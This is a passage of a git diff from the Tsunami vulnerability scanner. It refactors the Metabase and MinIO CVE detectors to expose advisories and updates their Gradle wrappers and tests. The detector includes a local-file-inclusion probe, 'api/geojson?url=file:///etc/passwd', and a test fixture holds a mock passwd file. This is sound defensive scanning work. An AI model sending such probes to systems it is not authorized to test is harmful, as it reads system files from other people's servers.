b/community/detectors/metabase_cve_2021_41277/src/main/java/com/google/tsunami/plugins/detectors/metabase/MetabaseCve202141277Detector.java @@ -44,9 +44,7 @@ import java.util.regex.Pattern; import javax.inject.Inject; -/** - * A {@link VulnDetector} that detects MetaBase Local File Inclusion(CVE-2021-41277) - */ +/** A {@link VulnDetector} that detects MetaBase Local File Inclusion(CVE-2021-41277) */ @PluginInfo( type = PluginType.VULN_DETECTION, name = "MetabaseCve202141277Detector", @@ -81,9 +79,33 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2021_41277")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-41277")) + .setSeverity(Severity.CRITICAL) + .setTitle("Metabase CVE-2021-41277 Local File Inclusion Vulnerability") + .setDescription( + "Metabase is an open source data analytics platform. In affected " + + "versions a security issue has been discovered with the custom GeoJSON map " + + "(`admin->settings->maps->custom maps->add a map`) support and potential " + + "local file inclusion (including environment variables). URLs were not " + + "validated prior to being loaded. This issue is fixed in a new maintenance " + + "release (0.40.5 and 1.40.5), and any subsequent release after that.") + .setRecommendation("upgrade to latest version") + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { - String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) - + "api/geojson?url=file:///etc/passwd"; + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + "api/geojson?url=file:///etc/passwd"; try { HttpResponse response = httpClient.send(get(targetUri).withEmptyHeaders().build(), networkService); @@ -105,19 +127,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId(VulnerabilityId.newBuilder().setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_41277")) - .setSeverity(Severity.CRITICAL) - .setTitle("Metabase CVE-2021-41277 Local File Inclusion Vulnerability") - .setDescription("Metabase is an open source data analytics platform. In affected " - + "versions a security issue has been discovered with the custom GeoJSON map " - + "(`admin->settings->maps->custom maps->add a map`) support and potential " - + "local file inclusion (including environment variables). URLs were not " - + "validated prior to being loaded. This issue is fixed in a new maintenance " - + "release (0.40.5 and 1.40.5), and any subsequent release after that.") - .setRecommendation("upgrade to latest version") - ).build(); + .setVulnerability(this.getAdvisories().get(0)) + .build(); } } diff --git a/community/detectors/metabase_cve_2021_41277/src/test/java/com/google/tsunami/plugins/detectors/metabase/MetabaseCve202141277DetectorTest.java b/community/detectors/metabase_cve_2021_41277/src/test/java/com/google/tsunami/plugins/detectors/metabase/MetabaseCve202141277DetectorTest.java index bff062324..eb6c3324d 100644 --- a/community/detectors/metabase_cve_2021_41277/src/test/java/com/google/tsunami/plugins/detectors/metabase/MetabaseCve202141277DetectorTest.java +++ b/community/detectors/metabase_cve_2021_41277/src/test/java/com/google/tsunami/plugins/detectors/metabase/MetabaseCve202141277DetectorTest.java @@ -30,12 +30,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.time.Instant; import javax.inject.Inject; import okhttp3.mockwebserver.MockResponse; @@ -45,17 +42,14 @@ import org.junit.runner.RunWith; import org.junit.runners.JUnit4; -/** - * Unit tests for {@link MetabaseCve202141277Detector}. - */ +/** Unit tests for {@link MetabaseCve202141277Detector}. */ @RunWith(JUnit4.class) public final class MetabaseCve202141277DetectorTest { private final FakeUtcClock fakeUtcClock = FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - @Inject - private MetabaseCve202141277Detector detector; + @Inject private MetabaseCve202141277Detector detector; private MockWebServer mockWebServer; private NetworkService testService; @@ -82,34 +76,37 @@ public void setUp() { @Test public void detect_whenSolrIsVulnerable_reportsVuln() { mockWebServer.enqueue( - new MockResponse().setResponseCode(200).setBody("root:x:0:0:root:/root:/bin/ash\n" - + "bin:x:1:1:bin:/bin:/sbin/nologin\n" - + "daemon:x:2:2:daemon:/sbin:/sbin/nologin\n" - + "adm:x:3:4:adm:/var/adm:/sbin/nologin\n" - + "lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\n" - + "sync:x:5:0:sync:/sbin:/bin/sync\n" - + "shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\n" - + "halt:x:7:0:halt:/sbin:/sbin/halt\n" - + "mail:x:8:12:mail:/var/mail:/sbin/nologin\n" - + "news:x:9:13:news:/usr/lib/news:/sbin/nologin\n" - + "uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\n" - + "operator:x:11:0:operator:/root:/sbin/nologin\n" - + "man:x:13:15:man:/usr/man:/sbin/nologin\n" - + "postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\n" - + "cron:x:16:16:cron:/var/spool/cron:/sbin/nologin\n" - + "ftp:x:21:21::/var/lib/ftp:/sbin/nologin\n" - + "sshd:x:22:22:sshd:/dev/null:/sbin/nologin\n" - + "at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\n" - + "squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\n" - + "xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\n" - + "games:x:35:35:games:/usr/games:/sbin/nologin\n" - + "cyrus:x:85:12::/usr/cyrus:/sbin/nologin\n" - + "vpopmail:x:89:89::/var/vpopmail:/sbin/nologin\n" - + "ntp:x:123:123:NTP:/var/empty:/sbin/nologin\n" - + "smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\n" - + "guest:x:405:100:guest:/dev/null:/sbin/nologin\n" - + "nobody:x:65534:65534:nobody:/:/sbin/nologin\n" - + "metabase:x:2000:2000:Linux User,,,:/home/metabase:/bin/ash")); + new MockResponse() + .setResponseCode(200) + .setBody( + "root:x:0:0:root:/root:/bin/ash\n" + + "bin:x:1:1:bin:/bin:/sbin/nologin\n" + + "daemon:x:2:2:daemon:/sbin:/sbin/nologin\n" + + "adm:x:3:4:adm:/var/adm:/sbin/nologin\n" + + "lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\n" + + "sync:x:5:0:sync:/sbin:/bin/sync\n" + + "shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\n" + + "halt:x:7:0:halt:/sbin:/sbin/halt\n" + + "mail:x:8:12:mail:/var/mail:/sbin/nologin\n" + + "news:x:9:13:news:/usr/lib/news:/sbin/nologin\n" + + "uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\n" + + "operator:x:11:0:operator:/root:/sbin/nologin\n" + + "man:x:13:15:man:/usr/man:/sbin/nologin\n" + + "postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\n" + + "cron:x:16:16:cron:/var/spool/cron:/sbin/nologin\n" + + "ftp:x:21:21::/var/lib/ftp:/sbin/nologin\n" + + "sshd:x:22:22:sshd:/dev/null:/sbin/nologin\n" + + "at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\n" + + "squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\n" + + "xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\n" + + "games:x:35:35:games:/usr/games:/sbin/nologin\n" + + "cyrus:x:85:12::/usr/cyrus:/sbin/nologin\n" + + "vpopmail:x:89:89::/var/vpopmail:/sbin/nologin\n" + + "ntp:x:123:123:NTP:/var/empty:/sbin/nologin\n" + + "smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\n" + + "guest:x:405:100:guest:/dev/null:/sbin/nologin\n" + + "nobody:x:65534:65534:nobody:/:/sbin/nologin\n" + + "metabase:x:2000:2000:Linux User,,,:/home/metabase:/bin/ash")); mockWebServer.url("/"); DetectionReportList detectionReports = @@ -123,22 +120,8 @@ public void detect_whenSolrIsVulnerable_reportsVuln() { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId(VulnerabilityId.newBuilder().setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_41277")) - .setSeverity(Severity.CRITICAL) - .setTitle("Metabase CVE-2021-41277 Local File Inclusion Vulnerability") - .setDescription("Metabase is an open source data analytics platform. In " - + "affected versions a security issue has been discovered with the " - + "custom GeoJSON map (`admin->settings->maps->custom maps->add a " - + "map`) support and potential local file inclusion (including " - + "environment variables). URLs were not validated prior to being " - + "loaded. This issue is fixed in a new maintenance release (0.40.5 " - + "and 1.40.5), and any subsequent release after that.") - .setRecommendation("upgrade to latest version") - ).build() - ); + .setVulnerability(detector.getAdvisories().get(0)) + .build()); } @Test @@ -147,11 +130,11 @@ public void detect_whenSolrIsNotVulnerable_doesNotReportVuln() { mockWebServer.url("/"); assertThat( - detector - .detect( - buildTargetInfo(forHostname(mockWebServer.getHostName())), - ImmutableList.of(testService)) - .getDetectionReportsList()) + detector + .detect( + buildTargetInfo(forHostname(mockWebServer.getHostName())), + ImmutableList.of(testService)) + .getDetectionReportsList()) .isEmpty(); } diff --git a/community/detectors/metabase_cve_2023_38646/gradle/wrapper/gradle-wrapper.jar b/community/detectors/metabase_cve_2023_38646/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/metabase_cve_2023_38646/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/metabase_cve_2023_38646/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/metabase_cve_2023_38646/gradle/wrapper/gradle-wrapper.properties b/community/detectors/metabase_cve_2023_38646/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/metabase_cve_2023_38646/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/metabase_cve_2023_38646/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/metabase_cve_2023_38646/gradlew b/community/detectors/metabase_cve_2023_38646/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/metabase_cve_2023_38646/gradlew +++ b/community/detectors/metabase_cve_2023_38646/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/metabase_cve_2023_38646/gradlew.bat b/community/detectors/metabase_cve_2023_38646/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/metabase_cve_2023_38646/gradlew.bat +++ b/community/detectors/metabase_cve_2023_38646/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/metabase_cve_2023_38646/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202338646/Cve202338646Detector.java b/community/detectors/metabase_cve_2023_38646/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202338646/Cve202338646Detector.java index 006a5b5bf..62caeeb08 100644 --- a/community/detectors/metabase_cve_2023_38646/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202338646/Cve202338646Detector.java +++ b/community/detectors/metabase_cve_2023_38646/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202338646/Cve202338646Detector.java @@ -101,6 +101,29 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2023-38646")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-38646")) + .setSeverity(Severity.CRITICAL) + .setTitle("Metabase Pre-Authentication RCE (CVE-2023-38646)") + .setDescription( + "Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1" + + " has a vulnerability that allows attackers to execute arbitrary commands" + + " on the server, at the server's privilege level. Authentication is not" + + " required for exploitation") + .setRecommendation( + "Please upgrade Metabase to patched versions: v0.46.6.4, v1.46.6.4, v0.45.4.3," + + " v1.45.4.3, v0.44.7.3, v1.44.7.3, v0.43.7.3 or v1.43.7.3.") + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { return payloadGenerator.isCallbackServerEnabled() && isVulnerableWithCallback(networkService); } @@ -171,22 +194,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2023-38646")) - .setSeverity(Severity.CRITICAL) - .setTitle("Metabase Pre-Authentication RCE (CVE-2023-38646)") - .setDescription( - "Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1" - + " has a vulnerability that allows attackers to execute arbitrary commands" - + " on the server, at the server's privilege level. Authentication is not" - + " required for exploitation") - .setRecommendation( - "Please upgrade Metabase to patched versions: v0.46.6.4, v1.46.6.4, v0.45.4.3," - + " v1.45.4.3, v0.44.7.3, v1.44.7.3, v0.43.7.3 or v1.43.7.3.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/metabase_cve_2023_38646/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202338646/Cve202338646DetectorWithCallbackServerTest.java b/community/detectors/metabase_cve_2023_38646/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202338646/Cve202338646DetectorWithCallbackServerTest.java index f99bb1f7f..8eff4b4c5 100644 --- a/community/detectors/metabase_cve_2023_38646/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202338646/Cve202338646DetectorWithCallbackServerTest.java +++ b/community/detectors/metabase_cve_2023_38646/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202338646/Cve202338646DetectorWithCallbackServerTest.java @@ -19,7 +19,6 @@ import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; import com.google.inject.Guice; import com.google.protobuf.util.JsonFormat; import com.google.tsunami.callbackserver.proto.PollingResult; @@ -51,7 +50,6 @@ public final class Cve202338646DetectorWithCallbackServerTest { private MockWebServer mockWebServer; private MockWebServer mockCallbackServer; private NetworkService service; - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); private TargetInfo targetInfo; @Inject private Cve202338646Detector detector; @@ -95,10 +93,10 @@ public void detect_whenVulnerable_returnsVulnerability() new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(body)); DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); mockWebServer.takeRequest(); - okhttp3.mockwebserver.RecordedRequest secondReq = mockWebServer.takeRequest(); assertThat(detectionReports.getDetectionReportsList()) - .containsExactly(TestHelper.buildValidDetectionReport(targetInfo, service, fakeUtcClock)); + .containsExactly( + TestHelper.buildValidDetectionReport(detector, targetInfo, service, fakeUtcClock)); assertThat(mockWebServer.getRequestCount()).isEqualTo(2); assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); } diff --git a/community/detectors/metabase_cve_2023_38646/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202338646/TestHelper.java b/community/detectors/metabase_cve_2023_38646/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202338646/TestHelper.java index 009fd3db6..e4609bd38 100644 --- a/community/detectors/metabase_cve_2023_38646/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202338646/TestHelper.java +++ b/community/detectors/metabase_cve_2023_38646/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202338646/TestHelper.java @@ -24,11 +24,8 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.time.Instant; import okhttp3.mockwebserver.MockWebServer; @@ -49,28 +46,16 @@ static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { } static DetectionReport buildValidDetectionReport( - TargetInfo targetInfo, NetworkService service, FakeUtcClock fakeUtcClock) { + Cve202338646Detector detector, + TargetInfo targetInfo, + NetworkService service, + FakeUtcClock fakeUtcClock) { return DetectionReport.newBuilder() .setTargetInfo(targetInfo) .setNetworkService(service) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2023-38646")) - .setSeverity(Severity.CRITICAL) - .setTitle("Metabase Pre-Authentication RCE (CVE-2023-38646)") - .setDescription( - "Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1" - + " has a vulnerability that allows attackers to execute arbitrary commands" - + " on the server, at the server's privilege level. Authentication is not" - + " required for exploitation") - .setRecommendation( - "Please upgrade Metabase to patched versions: v0.46.6.4, v1.46.6.4, v0.45.4.3," - + " v1.45.4.3, v0.44.7.3, v1.44.7.3, v0.43.7.3 or v1.43.7.3.")) + .setVulnerability(detector.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/minio_cve_2023_28432/gradle/wrapper/gradle-wrapper.jar b/community/detectors/minio_cve_2023_28432/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/minio_cve_2023_28432/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/minio_cve_2023_28432/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/minio_cve_2023_28432/gradle/wrapper/gradle-wrapper.properties b/community/detectors/minio_cve_2023_28432/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/minio_cve_2023_28432/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/minio_cve_2023_28432/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/minio_cve_2023_28432/gradlew b/community/detectors/minio_cve_2023_28432/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/minio_cve_2023_28432/gradlew +++ b/community/detectors/minio_cve_2023_28432/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/minio_cve_2023_28432/gradlew.bat b/community/detectors/minio_cve_2023_28432/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/minio_cve_2023_28432/gradlew.bat +++ b/community/detectors/minio_cve_2023_28432/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/minio_cve_2023_28432/src/main/java/com/google/tsunami/plugins/cves/cve202328432/Cve202328432VulnDetector.java b/community/detectors/minio_cve_2023_28432/src/main/java/com/google/tsunami/plugins/cves/cve202328432/Cve202328432VulnDetector.java index d5c9edd62..92479ecea 100644 --- a/community/detectors/minio_cve_2023_28432/src/main/java/com/google/tsunami/plugins/cves/cve202328432/Cve202328432VulnDetector.java +++ b/community/detectors/minio_cve_2023_28432/src/main/java/com/google/tsunami/plugins/cves/cve202328432/Cve202328432VulnDetector.java @@ -129,6 +129,23 @@ public DetectionReportList detect( return detectionReports; } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("MINIO_INFORMATION_DISCLOSURE_CLUSTER_ENVIRONMENT")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-28432")) + .setSeverity(Severity.CRITICAL) + .setTitle("MinIO Information Disclosure in Cluster Environment") + .setDescription(DESCRIPTION) + .setRecommendation(RECOMMENDATION) + .build()); + } + private EndpointProbingResult checkEndpointForNetworkService(NetworkService networkService) { String baseUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); String targetUri = String.format("%s%s", baseUrl, MINIO_VERIFY_PATH); @@ -281,15 +298,7 @@ private DetectionReport buildDetectionReport( .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("MINIO_INFORMATION_DISCLOSURE_CLUSTER_ENVIRONMENT")) - .setSeverity(Severity.CRITICAL) - .setTitle("MinIO Information Disclosure in Cluster Environment") - .setDescription(DESCRIPTION) - .setRecommendation(RECOMMENDATION) + this.getAdvisories().get(0).toBuilder() .addAdditionalDetails(buildAdditionalDetail(endpointProbingResult))) .build(); } diff --git a/community/detectors/minio_cve_2023_28432/src/test/java/com/google/tsunami/plugins/cve20232843/Cve202328432VulnDetectorTest.java 